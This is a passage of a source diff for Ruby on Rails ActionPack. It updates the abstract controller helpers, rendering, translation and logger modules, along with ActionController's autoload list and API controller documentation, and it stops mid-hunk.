+++ b/actionpack/lib/abstract_controller/collector.rb
@@ -1,3 +1,7 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch/http/mime_type"
 
 module AbstractController
@@ -5,8 +9,8 @@ module Collector
     def self.generate_method_for_mime(mime)
       sym = mime.is_a?(Symbol) ? mime : mime.to_sym
       class_eval <<-RUBY, __FILE__, __LINE__ + 1
-        def #{sym}(*args, &block)
-          custom(Mime[:#{sym}], *args, &block)
+        def #{sym}(...)
+          custom(Mime[:#{sym}], ...)
         end
       RUBY
     end
@@ -20,11 +24,10 @@ def #{sym}(*args, &block)
     end
 
   private
-
-    def method_missing(symbol, &block)
+    def method_missing(symbol, ...)
       unless mime_constant = Mime[symbol]
         raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \
-          "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \
+          "https://guides.rubyonrails.org/action_controller_advanced_topics.html#restful-downloads. " \
           "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \
           "be sure to nest your variant response within a format response: " \
           "format.html { |html| html.tablet { ... } }"
@@ -32,7 +35,7 @@ def method_missing(symbol, &block)
 
       if Mime::SET.include?(mime_constant)
         AbstractController::Collector.generate_method_for_mime(mime_constant)
-        send(symbol, &block)
+        public_send(symbol, ...)
       else
         super
       end
diff --git a/actionpack/lib/abstract_controller/deprecator.rb b/actionpack/lib/abstract_controller/deprecator.rb
new file mode 100644
index 0000000000000..989500fa136d3
--- /dev/null
+++ b/actionpack/lib/abstract_controller/deprecator.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module AbstractController
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/actionpack/lib/abstract_controller/error.rb b/actionpack/lib/abstract_controller/error.rb
index 7fafce4dd4fed..812241bfdd0d1 100644
--- a/actionpack/lib/abstract_controller/error.rb
+++ b/actionpack/lib/abstract_controller/error.rb
@@ -1,4 +1,8 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module AbstractController
-  class Error < StandardError #:nodoc:
+  class Error < StandardError # :nodoc:
   end
 end
diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb
index ef3be7af83e30..fc807f12a9cfd 100644
--- a/actionpack/lib/abstract_controller/helpers.rb
+++ b/actionpack/lib/abstract_controller/helpers.rb
@@ -1,120 +1,211 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/dependencies"
+require "active_support/core_ext/name_error"
 
 module AbstractController
   module Helpers
     extend ActiveSupport::Concern
 
     included do
-      class_attribute :_helpers
-      self._helpers = Module.new
+      class_attribute :_helper_methods, default: Array.new
 
-      class_attribute :_helper_methods
-      self._helper_methods = Array.new
+      # This is here so that it is always higher in the inheritance chain than the
+      # definition in lib/action_view/rendering.rb
+      redefine_singleton_method(:_helpers) do
+        if @_helpers ||= nil
+          @_helpers
+        else
+          superclass._helpers
+        end
+      end
+
+      self._helpers = define_helpers_module(self)
     end
 
-    class MissingHelperError < LoadError
-      def initialize(error, path)
-        @error = error
-        @path  = "helpers/#{path}.rb"
-        set_backtrace error.backtrace
+    def _helpers
+      self.class._helpers
+    end
 
-        if error.path =~ /^#{path}(\.rb)?$/
-          super("Missing helper file helpers/%s.rb" % path)
-        else
-          raise error
+    module Resolution # :nodoc:
+      def modules_for_helpers(modules_or_helper_prefixes)
+        modules_or_helper_prefixes.flatten.map! do |module_or_helper_prefix|
+          case module_or_helper_prefix
+          when Module
+            module_or_helper_prefix
+          when String, Symbol
+            helper_prefix = module_or_helper_prefix.to_s
+            helper_prefix = helper_prefix.camelize unless helper_prefix.start_with?(/[A-Z]/)
+            "#{helper_prefix}Helper".constantize
+          else
+            raise ArgumentError, "helper must be a String, Symbol, or Module"
+          end
         end
       end
+
+      def all_helpers_from_path(path)
+        helpers = Array(path).flat_map do |_path|
+          names = Dir["#{_path}/**/*_helper.rb"].map { |file| file[_path.to_s.size + 1..-"_helper.rb".size - 1] }
+          names.sort!
+        end
+        helpers.uniq!
+        helpers
+      end
+
+      def helper_modules_from_paths(paths)
+        modules_for_helpers(all_helpers_from_path(paths))
+      end
     end
 
+    extend Resolution
+
     module ClassMethods
-      # When a class is inherited, wrap its helper module in a new module.
-      # This ensures that the parent class's module can be changed
-      # independently of the child class's.
+      # When a class is inherited, wrap its helper module in a new module. This
+      # ensures that the parent class's module can be changed independently of the
+      # child class's.
       def inherited(klass)
-        helpers = _helpers
-        klass._helpers = Module.new { include helpers }
+        # Inherited from parent by default
+        klass._helpers = nil
+
         klass.class_eval { default_helper_module! } unless klass.anonymous?
         super
       end
 
+      attr_writer :_helpers
+
+      include Resolution
+
+      ##
+      # :method: modules_for_helpers
+      # :call-seq: modules_for_helpers(modules_or_helper_prefixes)
+      #
+      # Given an array of values like the ones accepted by `helper`, this method
+      # returns an array with the corresponding modules, in the same order.
+      #
+      #     ActionController::Base.modules_for_helpers(["application", "chart", "rubygems"])
+      #     # => [ApplicationHelper, ChartHelper, RubygemsHelper]
+      #
+      #--
+      # Implemented by Resolution#modules_for_helpers.
+
+      # :method: all_helpers_from_path
+      # :call-seq: all_helpers_from_path(path)
+      #
+      # Returns a list of helper names in a given path.
+      #
+      #     ActionController::Base.all_helpers_from_path 'app/helpers'
+      #     # => ["application", "chart", "rubygems"]
+      #
+      #--
+      # Implemented by Resolution#all_helpers_from_path.
+
       # Declare a controller method as a helper. For example, the following
-      # makes the +current_user+ and +logged_in?+ controller methods available
+      # makes the `current_user` and `logged_in?` controller methods available
       # to the view:
-      #   class ApplicationController < ActionController::Base
-      #     helper_method :current_user, :logged_in?
       #
-      #     def current_user
-      #       @current_user ||= User.find_by(id: session[:user])
-      #     end
+      #     class ApplicationController < ActionController::Base
+      #       helper_method :current_user, :logged_in?
       #
-      #     def logged_in?
-      #       current_user != nil
+      #       private
+      #         def current_user
+      #           @current_user ||= User.find_by(id: session[:user])
+      #         end
+      #
+      #         def logged_in?
+      #           current_user != nil
+      #         end
       #     end
-      #   end
       #
       # In a view:
-      #  <% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
-      #
-      # ==== Parameters
-      # * <tt>method[, method]</tt> - A name or names of a method on the controller
-      #   to be made available on the view.
-      def helper_method(*meths)
-        meths.flatten!
-        self._helper_methods += meths
-
-        meths.each do |meth|
-          _helpers.class_eval <<-ruby_eval, __FILE__, __LINE__ + 1
-            def #{meth}(*args, &blk)                               # def current_user(*args, &blk)
-              controller.send(%(#{meth}), *args, &blk)             #   controller.send(:current_user, *args, &blk)
-            end                                                    # end
+      #
+      #     <% if logged_in? -%>Welcome, <%= current_user.name %><% end -%>
+      #
+      # #### Parameters
+      # *   `method[, method]` - A name or names of a method on the controller to be
+      #     made available on the view.
+      def helper_method(*methods)
+        methods.flatten!
+        self._helper_methods += methods
+
+        location = caller_locations(1, 1).first
+        file, line = location.path, location.lineno
+
+        methods.each do |method|
+          # def current_user(...)
+          #   controller.send(:'current_user', ...)
+          # end
+          _helpers_for_modification.class_eval <<~ruby_eval.lines.map(&:strip).join(";"), file, line
+            def #{method}(...)
+              controller.send(:'#{method}', ...)
+            end
           ruby_eval
         end
       end
 
-      # The +helper+ class method can take a series of helper module names, a block, or both.
+      # Includes the given modules in the template class.
       #
-      # ==== Options
-      # * <tt>*args</tt> - Module, Symbol, String
-      # * <tt>block</tt> - A block defining helper methods
+      # Modules can be specified in different ways. All of the following calls include
+      # `FooHelper`:
       #
-      # When the argument is a module it will be included directly in the template class.
-      #   helper FooHelper # => includes FooHelper
+      #     # Module, recommended.
+      #     helper FooHelper
       #
-      # When the argument is a string or symbol, the method will provide the "_helper" suffix, require the file
-      # and include the module in the template class. The second form illustrates how to include custom helpers
-      # when working with namespaced controllers, or other cases where the file containing the helper definition is not
-      # in one of Rails' standard load paths:
-      #   helper :foo             # => requires 'foo_helper' and includes FooHelper
-      #   helper 'resources/foo'  # => requires 'resources/foo_helper' and includes Resources::FooHelper
+      #     # String/symbol without the "helper" suffix, camel or snake case.
+      #     helper "Foo"
+      #     helper :Foo
+      #     helper "foo"
+      #     helper :foo
       #
-      # Additionally, the +helper+ class method can receive and evaluate a block, making the methods defined available
-      # to the template.
+      # The last two assume that `"foo".camelize` returns "Foo".
       #
-      #   # One line
-      #   helper { def hello() "Hello, world!" end }
+      # When strings or symbols are passed, the method finds the actual module object
+      # using String#constantize. Therefore, if the module has not been yet loaded, it
+      # has to be autoloadable, which is normally the case.
       #
-      #   # Multi-line
-      #   helper do
-      #     def foo(bar)
-      #       "#{bar} is the very best"
+      # Namespaces are supported. The following calls include `Foo::BarHelper`:
+      #
+      #     # Module, recommended.
+      #     helper Foo::BarHelper
+      #
+      #     # String/symbol without the "helper" suffix, camel or snake case.
+      #     helper "Foo::Bar"
+      #     helper :"Foo::Bar"
+      #     helper "foo/bar"
+      #     helper :"foo/bar"
+      #
+      # The last two assume that `"foo/bar".camelize` returns "Foo::Bar".
+      #
+      # The method accepts a block too. If present, the block is evaluated in the
+      # context of the controller helper module. This simple call makes the `wadus`
+      # method available in templates of the enclosing controller:
+      #
+      #     helper do
+      #       def wadus
+      #         "wadus"
+      #       end
       #     end
-      #   end
       #
-      # Finally, all the above styles can be mixed together, and the +helper+ method can be invoked with a mix of
-      # +symbols+, +strings+, +modules+ and blocks.
+      # Furthermore, all the above styles can be mixed together:
       #
-      #   helper(:three, BlindHelper) { def mice() 'mice' end }
+      #     helper FooHelper, "woo", "bar/baz" do
+      #       def wadus
+      #         "wadus"
+      #       end
+      #     end
       #
       def helper(*args, &block)
         modules_for_helpers(args).each do |mod|
-          add_template_helper(mod)
+          next if _helpers.include?(mod)
+          _helpers_for_modification.include(mod)
         end
 
-        _helpers.module_eval(&block) if block_given?
+        _helpers_for_modification.module_eval(&block) if block_given?
       end
 
-      # Clears up all existing helpers in this class, only keeping the helper
-      # with the same name as this class.
+      # Clears up all existing helpers in this class, only keeping the helper with the
+      # same name as this class.
       def clear_helpers
         inherited_helper_methods = _helper_methods
         self._helpers = Module.new
@@ -124,71 +215,30 @@ def clear_helpers
         default_helper_module! unless anonymous?
       end
 
-      # Returns a list of modules, normalized from the acceptable kinds of
-      # helpers with the following behavior:
-      #
-      # String or Symbol:: :FooBar or "FooBar" becomes "foo_bar_helper",
-      # and "foo_bar_helper.rb" is loaded using require_dependency.
-      #
-      # Module:: No further processing
-      #
-      # After loading the appropriate files, the corresponding modules
-      # are returned.
-      #
-      # ==== Parameters
-      # * <tt>args</tt> - An array of helpers
-      #
-      # ==== Returns
-      # * <tt>Array</tt> - A normalized list of modules for the list of
-      #   helpers provided.
-      def modules_for_helpers(args)
-        args.flatten.map! do |arg|
-          case arg
-          when String, Symbol
-            file_name = "#{arg.to_s.underscore}_helper"
-            begin
-              require_dependency(file_name)
-            rescue LoadError => e
-              raise AbstractController::Helpers::MissingHelperError.new(e, file_name)
-            end
-
-            mod_name = file_name.camelize
-            begin
-              mod_name.constantize
-            rescue LoadError
-              # dependencies.rb gives a similar error message but its wording is
-              # not as clear because it mentions autoloading. To the user all it
-              # matters is that a helper module couldn't be loaded, autoloading
-              # is an internal mechanism that should not leak.
-              raise NameError, "Couldn't find #{mod_name}, expected it to be defined in helpers/#{file_name}.rb"
-            end
-          when Module
-            arg
-          else
-            raise ArgumentError, "helper must be a String, Symbol, or Module"
-          end
+      def _helpers_for_modification
+        unless @_helpers
+          self._helpers = define_helpers_module(self, superclass._helpers)
         end
+        _helpers
       end
 
       private
-        # Makes all the (instance) methods in the helper module available to templates
-        # rendered through this controller.
-        #
-        # ==== Parameters
-        # * <tt>module</tt> - The module to include into the current helper module
-        #   for the class
-        def add_template_helper(mod)
-          _helpers.module_eval { include mod }
+        def define_helpers_module(klass, helpers = nil)
+          # In some tests inherited is called explicitly. In that case, just return the
+          # module from the first time it was defined
+          return klass.const_get(:HelperMethods) if klass.const_defined?(:HelperMethods, false)
+
+          mod = Module.new
+          klass.const_set(:HelperMethods, mod)
+          mod.include(helpers) if helpers
+          mod
         end
 
         def default_helper_module!
-          module_name = name.sub(/Controller$/, "".freeze)
-          module_path = module_name.underscore
-          helper module_path
-        rescue LoadError => e
-          raise e unless e.is_missing? "helpers/#{module_path}_helper"
+          helper_prefix = name.delete_suffix("Controller")
+          helper(helper_prefix)
         rescue NameError => e
-          raise e unless e.missing_name? "#{module_name}Helper"
+          raise unless e.missing_name?("#{helper_prefix}Helper")
         end
     end
   end
diff --git a/actionpack/lib/abstract_controller/logger.rb b/actionpack/lib/abstract_controller/logger.rb
index c31ea6c5b52c7..5a81638dd69ea 100644
--- a/actionpack/lib/abstract_controller/logger.rb
+++ b/actionpack/lib/abstract_controller/logger.rb
@@ -1,11 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "active_support/benchmarkable"
 
 module AbstractController
-  module Logger #:nodoc:
+  module Logger # :nodoc:
     extend ActiveSupport::Concern
 
     included do
-      config_accessor :logger
+      singleton_class.delegate :logger, :logger=, to: :config
+      delegate :logger, :logger=, to: :config
       include ActiveSupport::Benchmarkable
     end
   end
diff --git a/actionpack/lib/abstract_controller/railties/routes_helpers.rb b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
index 14b574e322825..3e909512e41fc 100644
--- a/actionpack/lib/abstract_controller/railties/routes_helpers.rb
+++ b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
@@ -1,3 +1,9 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/module/introspection"
+
 module AbstractController
   module Railties
     module RoutesHelpers
@@ -5,7 +11,8 @@ def self.with(routes, include_path_helpers = true)
         Module.new do
           define_method(:inherited) do |klass|
             super(klass)
-            if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
+
+            if namespace = klass.module_parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
               klass.include(namespace.railtie_routes_url_helpers(include_path_helpers))
             else
               klass.include(routes.url_helpers(include_path_helpers))
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
index 54af938a9319b..346bb4e2b9102 100644
--- a/actionpack/lib/abstract_controller/rendering.rb
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -1,11 +1,14 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "abstract_controller/error"
 require "action_view"
 require "action_view/view_paths"
-require "set"
 
 module AbstractController
   class DoubleRenderError < Error
-    DEFAULT_MESSAGE = "Render and/or redirect were called multiple times in this action. Please note that you may only call render OR redirect, and at most once per action. Also note that neither redirect nor render terminate execution of the action, so if you want to exit an action after redirecting, you need to do something like \"redirect_to(...) and return\"."
+    DEFAULT_MESSAGE = "Render and/or redirect were called multiple times in this action. Please note that you may only call render OR redirect, and at most once per action. Also note that neither redirect nor render terminate execution of the action, so if you want to exit an action after redirecting, you need to do something like \"redirect_to(...); return\"."
 
     def initialize(message = nil)
       super(message || DEFAULT_MESSAGE)
@@ -16,9 +19,10 @@ module Rendering
     extend ActiveSupport::Concern
     include ActionView::ViewPaths
 
-    # Normalizes arguments, options and then delegates render_to_body and
-    # sticks the result in <tt>self.response_body</tt>.
-    # :api: public
+    # Normalizes arguments and options, and then delegates to render_to_body and
+    # sticks the result in `self.response_body`.
+    #
+    # Supported options depend on the underlying `render_to_body` implementation.
     def render(*args, &block)
       options = _normalize_render(*args, &block)
       rendered_body = render_to_body(options)
@@ -27,58 +31,46 @@ def render(*args, &block)
       else
         _set_rendered_content_type rendered_format
       end
+      _set_vary_header
       self.response_body = rendered_body
     end
 
-    # Raw rendering of a template to a string.
-    #
-    # It is similar to render, except that it does not
-    # set the +response_body+ and it should be guaranteed
-    # to always return a string.
+    # Similar to #render, but only returns the rendered template as a string,
+    # instead of setting `self.response_body`.
     #
-    # If a component extends the semantics of +response_body+
-    # (as ActionController extends it to be anything that
-    # responds to the method each), this method needs to be
-    # overridden in order to still return a string.
-    # :api: plugin
+    # If a component extends the semantics of `response_body` (as ActionController
+    # extends it to be anything that responds to the method each), this method needs
+    # to be overridden in order to still return a string.
     def render_to_string(*args, &block)
       options = _normalize_render(*args, &block)
       render_to_body(options)
     end
 
     # Performs the actual template rendering.
-    # :api: public
     def render_to_body(options = {})
     end
 
-    # Returns Content-Type of rendered content
-    # :api: public
+    # Returns `Content-Type` of rendered content.
     def rendered_format
       Mime[:text]
     end
 
-    DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %i(
-      @_action_name @_response_body @_formats @_prefixes
-    )
+    DEFAULT_PROTECTED_INSTANCE_VARIABLES = %i(@_action_name @_response_body @_formats @_prefixes)
 
-    # This method should return a hash with assigns.
-    # You can overwrite this configuration per controller.
-    # :api: public
+    # This method should return a hash with assigns. You can overwrite this
+    # configuration per controller.
     def view_assigns
-      protected_vars = _protected_ivars
-      variables      = instance_variables
+      variables = instance_variables - _protected_ivars
 
-      variables.reject! { |s| protected_vars.include? s }
-      variables.each_with_object({}) { |name, hash|
+      variables.each_with_object({}) do |name, hash|
         hash[name.slice(1, name.length)] = instance_variable_get(name)
-      }
+      end
     end
 
-    # Normalize args by converting <tt>render "foo"</tt> to
-    # <tt>render :action => "foo"</tt> and <tt>render "foo/bar"</tt> to
-    # <tt>render :file => "foo/bar"</tt>.
-    # :api: plugin
-    def _normalize_args(action = nil, options = {})
+  private
+    # Normalize args by converting `render "foo"` to `render action: "foo"` and
+    # `render "foo/bar"` to `render file: "foo/bar"`.
+    def _normalize_args(action = nil, options = {}) # :doc:
       if action.respond_to?(:permitted?)
         if action.permitted?
           action
@@ -93,20 +85,17 @@ def _normalize_args(action = nil, options = {})
     end
 
     # Normalize options.
-    # :api: plugin
-    def _normalize_options(options)
+    def _normalize_options(options) # :doc:
       options
     end
 
     # Process extra options.
-    # :api: plugin
-    def _process_options(options)
+    def _process_options(options) # :doc:
       options
     end
 
     # Process the rendered format.
-    # :api: private
-    def _process_format(format)
+    def _process_format(format) # :nodoc:
     end
 
     def _process_variant(options)
@@ -115,19 +104,21 @@ def _process_variant(options)
     def _set_html_content_type # :nodoc:
     end
 
+    def _set_vary_header # :nodoc:
+    end
+
     def _set_rendered_content_type(format) # :nodoc:
     end
 
     # Normalize args and options.
-    # :api: private
-    def _normalize_render(*args, &block)
+    def _normalize_render(*args, &block) # :nodoc:
       options = _normalize_args(*args, &block)
       _process_variant(options)
       _normalize_options(options)
       options
     end
 
-    def _protected_ivars # :nodoc:
+    def _protected_ivars
       DEFAULT_PROTECTED_INSTANCE_VARIABLES
     end
   end
diff --git a/actionpack/lib/abstract_controller/translation.rb b/actionpack/lib/abstract_controller/translation.rb
index 9e3858802a0b4..212190471e63e 100644
--- a/actionpack/lib/abstract_controller/translation.rb
+++ b/actionpack/lib/abstract_controller/translation.rb
@@ -1,28 +1,41 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/html_safe_translation"
+
 module AbstractController
   module Translation
-    # Delegates to <tt>I18n.translate</tt>. Also aliased as <tt>t</tt>.
+    # Delegates to `I18n.translate`.
     #
     # When the given key starts with a period, it will be scoped by the current
-    # controller and action. So if you call <tt>translate(".foo")</tt> from
-    # <tt>PeopleController#index</tt>, it will convert the call to
-    # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
-    # to translate many keys within the same controller / action and gives you a
-    # simple framework for scoping them consistently.
-    def translate(key, options = {})
-      if key.to_s.first == "."
+    # controller and action. So if you call `translate(".foo")` from
+    # `PeopleController#index`, it will convert the call to
+    # `I18n.translate("people.index.foo")`. This makes it less repetitive to
+    # translate many keys within the same controller / action and gives you a simple
+    # framework for scoping them consistently.
+    def translate(key, **options)
+      if key&.start_with?(".")
         path = controller_path.tr("/", ".")
         defaults = [:"#{path}#{key}"]
         defaults << options[:default] if options[:default]
-        options[:default] = defaults
+        options[:default] = defaults.flatten
         key = "#{path}.#{action_name}#{key}"
       end
-      I18n.translate(key, options)
+
+      if options[:default] && ActiveSupport::HtmlSafeTranslation.html_safe_translation_key?(key)
+        options[:default] = Array(options[:default]).map do |value|
+          value.is_a?(String) ? ERB::Util.html_escape(value) : value
+        end
+      end
+
+      ActiveSupport::HtmlSafeTranslation.translate(key, **options)
     end
     alias :t :translate
 
-    # Delegates to <tt>I18n.localize</tt>. Also aliased as <tt>l</tt>.
-    def localize(*args)
-      I18n.localize(*args)
+    # Delegates to `I18n.localize`.
+    def localize(object, **options)
+      I18n.localize(object, **options)
     end
     alias :l :localize
   end
diff --git a/actionpack/lib/abstract_controller/url_for.rb b/actionpack/lib/abstract_controller/url_for.rb
index 72d07b0927029..c2d2da709981d 100644
--- a/actionpack/lib/abstract_controller/url_for.rb
+++ b/actionpack/lib/abstract_controller/url_for.rb
@@ -1,10 +1,16 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module AbstractController
-  # Includes +url_for+ into the host class (e.g. an abstract controller or mailer). The class
-  # has to provide a +RouteSet+ by implementing the <tt>_routes</tt> methods. Otherwise, an
-  # exception will be raised.
+  # # URL For
+  #
+  # Includes `url_for` into the host class (e.g. an abstract controller or
+  # mailer). The class has to provide a `RouteSet` by implementing the `_routes`
+  # methods. Otherwise, an exception will be raised.
   #
-  # Note that this module is completely decoupled from HTTP - the only requirement is a valid
-  # <tt>_routes</tt> implementation.
+  # Note that this module is completely decoupled from HTTP - the only requirement
+  # is a valid `_routes` implementation.
   module UrlFor
     extend ActiveSupport::Concern
     include ActionDispatch::Routing::UrlFor
@@ -20,12 +26,10 @@ def _routes
       end
 
       def action_methods
-        @action_methods ||= begin
-          if _routes
-            super - _routes.named_routes.helper_names
-          else
-            super
-          end
+        @action_methods ||= if _routes
+          super - _routes.named_routes.helper_names
+        else
+          super
         end
       end
     end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index 50f20aa789f67..847199aaefff0 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -1,16 +1,26 @@
-require "active_support/rails"
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "abstract_controller"
 require "action_dispatch"
-require "action_controller/metal/live"
+require "action_controller/deprecator"
 require "action_controller/metal/strong_parameters"
+require "action_controller/metal/exceptions"
 
+# # Action Controller
+#
+# Action Controller is a module of Action Pack.
+#
+# Action Controller provides a base controller class that can be subclassed to
+# implement filters and actions to handle requests. The result of an action is
+# typically content generated from views.
 module ActionController
   extend ActiveSupport::Autoload
 
   autoload :API
   autoload :Base
   autoload :Metal
-  autoload :Middleware
   autoload :Renderer
   autoload :FormBuilder
 
@@ -19,21 +29,27 @@ module ActionController
   end
 
   autoload_under "metal" do
+    autoload :AllowBrowser
     autoload :ConditionalGet
+    autoload :ContentSecurityPolicy
     autoload :Cookies
     autoload :DataStreaming
+    autoload :DefaultHeaders
     autoload :EtagWithTemplateDigest
     autoload :EtagWithFlash
+    autoload :PermissionsPolicy
     autoload :Flash
-    autoload :ForceSSL
     autoload :Head
     autoload :Helpers
     autoload :HttpAuthentication
     autoload :BasicImplicitRender
     autoload :ImplicitRender
     autoload :Instrumentation
+    autoload :Live
+    autoload :Logging
     autoload :MimeResponds
     autoload :ParamsWrapper
+    autoload :RateLimiting
     autoload :Redirecting
     autoload :Renderers
     autoload :Rendering
@@ -50,14 +66,15 @@ module ActionController
     autoload :ApiRendering
   end
 
-  autoload :TestCase,           "action_controller/test_case"
-  autoload :TemplateAssertions, "action_controller/test_case"
+  autoload_at "action_controller/test_case" do
+    autoload :TestCase
+    autoload :TestRequest
+    autoload :TemplateAssertions
+  end
 end
 
 # Common Active Support usage in Action Controller
 require "active_support/core_ext/module/attribute_accessors"
-require "active_support/core_ext/load_error"
 require "active_support/core_ext/module/attr_internal"
 require "active_support/core_ext/name_error"
-require "active_support/core_ext/uri"
 require "active_support/inflector"
diff --git a/actionpack/lib/action_controller/api.rb b/actionpack/lib/action_controller/api.rb
index 5cd8d77ddb510..a44aa2232611c 100644
--- a/actionpack/lib/action_controller/api.rb
+++ b/actionpack/lib/action_controller/api.rb
@@ -1,104 +1,109 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_view"
 require "action_controller"
 require "action_controller/log_subscriber"
+require "action_controller/structured_event_subscriber"
 
 module ActionController
-  # API Controller is a lightweight version of <tt>ActionController::Base</tt>,
-  # created for applications that don't require all functionalities that a complete
-  # \Rails controller provides, allowing you to create controllers with just the
-  # features that you need for API only applications.
-  #
-  # An API Controller is different from a normal controller in the sense that
-  # by default it doesn't include a number of features that are usually required
-  # by browser access only: layouts and templates rendering, cookies, sessions,
-  # flash, assets, and so on. This makes the entire controller stack thinner,
-  # suitable for API applications. It doesn't mean you won't have such
-  # features if you need them: they're all available for you to include in
-  # your application, they're just not part of the default API controller stack.
-  #
-  # Normally, +ApplicationController+ is the only controller that inherits from
-  # <tt>ActionController::API</tt>. All other controllers in turn inherit from
-  # +ApplicationController+.
+  # # Action Controller API
+  #
+  # API Controller is a lightweight version of ActionController::Base, created for
+  # applications that don't require all functionalities that a complete Rails
+  # controller provides, allowing you to create controllers with just the features
+  # that you need for API only applications.
+  #
+  # An API Controller is different from a normal controller in the sense that by
+  # default it doesn't include a number of features that are usually required by
+  # browser access only: layouts and templates rendering, flash, assets, and so
+  # on. This makes the entire controller stack thinner, suitable for API
+  # applications. It doesn't mean you won't have such features if you need them:
+  # they're all available for you to include in your application, they're just not
+  # part of the default API controller stack.
+  #
+  # Normally, `ApplicationController` is the only controller that inherits from
+  # `ActionController::API`. All other controllers in turn inherit from
+  # `ApplicationController`.
   #
   # A sample controller could look like this:
   #
-  #   class PostsController < ApplicationController
-  #     def index
-  #       posts = Post.all
-  #       render json: posts
+  #     class PostsController < ApplicationController
+  #       def index
+  #         posts = Post.all
+  #         render json: posts
+  #       end
   #     end
-  #   end
   #
   # Request, response, and parameters objects all work the exact same way as
-  # <tt>ActionController::Base</tt>.
+  # ActionController::Base.
   #
-  # == Renders
+  # ## Renders
   #
-  # The default API Controller stack includes all renderers, which means you
-  # can use <tt>render :json</tt> and brothers freely in your controllers. Keep
-  # in mind that templates are not going to be rendered, so you need to ensure
-  # your controller is calling either <tt>render</tt> or <tt>redirect_to</tt> in
-  # all actions, otherwise it will return 204 No Content.
+  # The default API Controller stack includes all renderers, which means you can
+  # use `render :json` and siblings freely in your controllers. Keep in mind that
+  # templates are not going to be rendered, so you need to ensure your controller
+  # is calling either `render` or `redirect_to` in all actions, otherwise it will
+  # return `204 No Content`.
   #
-  #   def show
-  #     post = Post.find(params[:id])
-  #     render json: post
-  #   end
+  #     def show
+  #       post = Post.find(params[:id])
+  #       render json: post
+  #     end
   #
-  # == Redirects
+  # ## Redirects
   #
   # Redirects are used to move from one action to another. You can use the
-  # <tt>redirect_to</tt> method in your controllers in the same way as in
-  # <tt>ActionController::Base</tt>. For example:
+  # `redirect_to` method in your controllers in the same way as in
+  # ActionController::Base. For example:
   #
-  #   def create
-  #     redirect_to root_url and return if not_authorized?
-  #     # do stuff here
-  #   end
+  #     def create
+  #       redirect_to root_url and return if not_authorized?
+  #       # do stuff here
+  #     end
   #
-  # == Adding New Behavior
+  # ## Adding New Behavior
   #
   # In some scenarios you may want to add back some functionality provided by
-  # <tt>ActionController::Base</tt> that is not present by default in
-  # <tt>ActionController::API</tt>, for instance <tt>MimeResponds</tt>. This
-  # module gives you the <tt>respond_to</tt> method. Adding it is quite simple,
-  # you just need to include the module in a specific controller or in
-  # +ApplicationController+ in case you want it available in your entire
-  # application:
-  #
-  #   class ApplicationController < ActionController::API
-  #     include ActionController::MimeResponds
-  #   end
-  #
-  #   class PostsController < ApplicationController
-  #     def index
-  #       posts = Post.all
-  #
-  #       respond_to do |format|
-  #         format.json { render json: posts }
-  #         format.xml  { render xml: posts }
+  # ActionController::Base that is not present by default in
+  # `ActionController::API`, for instance `MimeResponds`. This module gives you
+  # the `respond_to` method. Adding it is quite simple, you just need to include
+  # the module in a specific controller or in `ApplicationController` in case you
+  # want it available in your entire application:
+  #
+  #     class ApplicationController < ActionController::API
+  #       include ActionController::MimeResponds
+  #     end
+  #
+  #     class PostsController < ApplicationController
+  #       def index
+  #         posts = Post.all
+  #
+  #         respond_to do |format|
+  #           format.json { render json: posts }
+  #           format.xml  { render xml: posts }
+  #         end
   #       end
   #     end
-  #   end
   #
-  # Quite straightforward. Make sure to check the modules included in
-  # <tt>ActionController::Base</tt> if you want to use any other
-  # functionality that is not provided by <tt>ActionController::API</tt>
+  # Make sure to check the modules included in ActionController::Base if you want
+  # to use any other functionality that is not provided by `ActionController::API`
   # out of the box.
   class API < Metal
     abstract!
 
-    # Shortcut helper that returns all the ActionController::API modules except
-    # the ones passed as arguments:
+    # Shortcut helper that returns all the ActionController::API modules except the
+    # ones passed as arguments:
     #
-    #   class MyAPIBaseController < ActionController::Metal
-    #     ActionController::API.without_modules(:ForceSSL, :UrlFor).each do |left|
-    #       include left
+    #     class MyAPIBaseController < ActionController::Metal
+    #       ActionController::API.without_modules(:UrlFor).each do |left|
+    #         include left
+    #       end
     #     end
-    #   end
     #
-    # This gives better control over what you want to exclude and makes it easier
-    # to create an API controller class, instead of listing the modules required
+    # This gives better control over what you want to exclude and makes it easier to
+    # create an API controller class, instead of listing the modules required
     # manually.
     def self.without_modules(*modules)
       modules = modules.map do |m|
@@ -118,23 +123,26 @@ def self.without_modules(*modules)
       ConditionalGet,
       BasicImplicitRender,
       StrongParameters,
+      RateLimiting,
+      Caching,
 
-      ForceSSL,
       DataStreaming,
+      DefaultHeaders,
+      Logging,
 
-      # Before callbacks should also be executed as early as possible, so
-      # also include them at the bottom.
+      # Before callbacks should also be executed as early as possible, so also include
+      # them at the bottom.
       AbstractController::Callbacks,
 
